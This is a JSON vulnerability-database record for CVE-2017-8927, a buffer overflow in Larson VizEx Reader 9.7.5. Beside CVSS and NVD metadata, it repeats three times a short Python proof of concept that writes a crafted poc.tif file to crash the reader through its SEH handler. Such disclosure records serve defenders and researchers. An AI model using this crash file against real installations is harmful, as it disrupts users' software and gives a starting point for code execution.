{"href": "https://0day.today/exploit/description/27772", "sourceData": "#!/usr/bin/python\r\n# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)\r\n# Date : 14/05/2017\r\n# Exploit Author : Muhann4d\r\n# CVE : CVE-2017-8927\r\n# Vendor Homepage : http://www.cgmlarson.com/\r\n# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html\r\n# Affected Versions : 9.7.5 \r\n# Category : Denial of Service (DoS) Local\r\n# Tested on OS : Windows 7 Professional SP1 32bit\r\n# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5\r\n \r\n# Vendor has been cantacted but no reply\r\n \r\nbuf = \"\\x41\" * 800\r\nbuff = \"\\x42\" * 4\r\nbufff = \"\\x43\" * 4\r\nbuffff = \"\\x44\" * 9999\r\nf = open (\"poc.tif\", \"w\")\r\nf.write(buf + buff + bufff + buffff)\r\nf.close()\n\n# 0day.today [2018-02-15] #", "bulletinFamily": "exploit", "modified": "2017-05-15T00:00:00", "title": "Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) Exploit", "cvss": {"vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 6.8}, "sourceHref": "https://0day.today/exploit/27772", "cvelist": ["CVE-2017-8927"], "description": "Exploit for windows platform in category dos / poc", "viewCount": 30, "published": "2017-05-15T00:00:00", "edition": 1, "id": "1337DAY-ID-27772", "type": "zdt", "lastseen": "2018-02-15T21:24:25", "reporter": "Muhann4d", "enchantments": {"score": {"value": 7.0, "vector": "NONE", "modified": "2018-02-15T21:24:25", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2017-8927"]}, {"type": "exploitdb", "idList": ["EDB-ID:42002"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:32AED3792BA27277D844109F52A47877"]}], "modified": "2018-02-15T21:24:25", "rev": 2}, "vulnersScore": 7.0}, "references": []}

{"cve": [{"lastseen": "2020-10-03T13:07:50", "description": "Buffer overflow in Larson VizEx Reader 9.7.5 allows attackers to cause a denial of service or possibly have unspecified other impact via a crafted .tif file.", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-05-15T18:29:00", "title": "CVE-2017-8927", "type": "cve", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-8927"], "modified": "2017-05-24T14:17:00", "cpe": ["cpe:/a:larson_software_technology:vizex_reader:9.7.5"], "id": "CVE-2017-8927", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-8927", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:larson_software_technology:vizex_reader:9.7.5:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2018-11-30T12:32:46", "description": "", "published": "2017-05-14T00:00:00", "type": "exploitdb", "title": "Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-8927"], "modified": "2017-05-14T00:00:00", "id": "EDB-ID:42002", "href": "https://www.exploit-db.com/exploits/42002", "sourceData": "#!/usr/bin/python\r\n# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)\r\n# Date : 14/05/2017\r\n# Exploit Author : Muhann4d\r\n# CVE\t\t\t\t: CVE-2017-8927\r\n# Vendor Homepage : http://www.cgmlarson.com/\r\n# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html\r\n# Affected Versions : 9.7.5 \r\n# Category : Denial of Service (DoS) Local\r\n# Tested on OS : Windows 7 Professional SP1 32bit\r\n# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5\r\n\r\n# Vendor has been cantacted but no reply\r\n\r\nbuf = \"\\x41\" * 800\r\nbuff = \"\\x42\" * 4\r\nbufff = \"\\x43\" * 4\r\nbuffff = \"\\x44\" * 9999\r\nf = open (\"poc.tif\", \"w\")\r\nf.write(buf + buff + bufff + buffff)\r\nf.close()", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/42002"}], "exploitpack": [{"lastseen": "2020-04-01T19:04:25", "description": "\nLarson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)", "edition": 1, "published": "2017-05-14T00:00:00", "title": "Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-8927"], "modified": "2017-05-14T00:00:00", "id": "EXPLOITPACK:32AED3792BA27277D844109F52A47877", "href": "", "sourceData": "#!/usr/bin/python\n# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)\n# Date : 14/05/2017\n# Exploit Author : Muhann4d\n# CVE\t\t\t\t: CVE-2017-8927\n# Vendor Homepage : http://www.cgmlarson.com/\n# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html\n# Affected Versions : 9.7.5 \n# Category : Denial of Service (DoS) Local\n# Tested on OS : Windows 7 Professional SP1 32bit\n# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5\n\n# Vendor has been cantacted but no reply\n\nbuf = \"\\x41\" * 800\nbuff = \"\\x42\" * 4\nbufff = \"\\x43\" * 4\nbuffff = \"\\x44\" * 9999\nf = open (\"poc.tif\", \"w\")\nf.write(buf + buff + bufff + buffff)\nf.close()", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}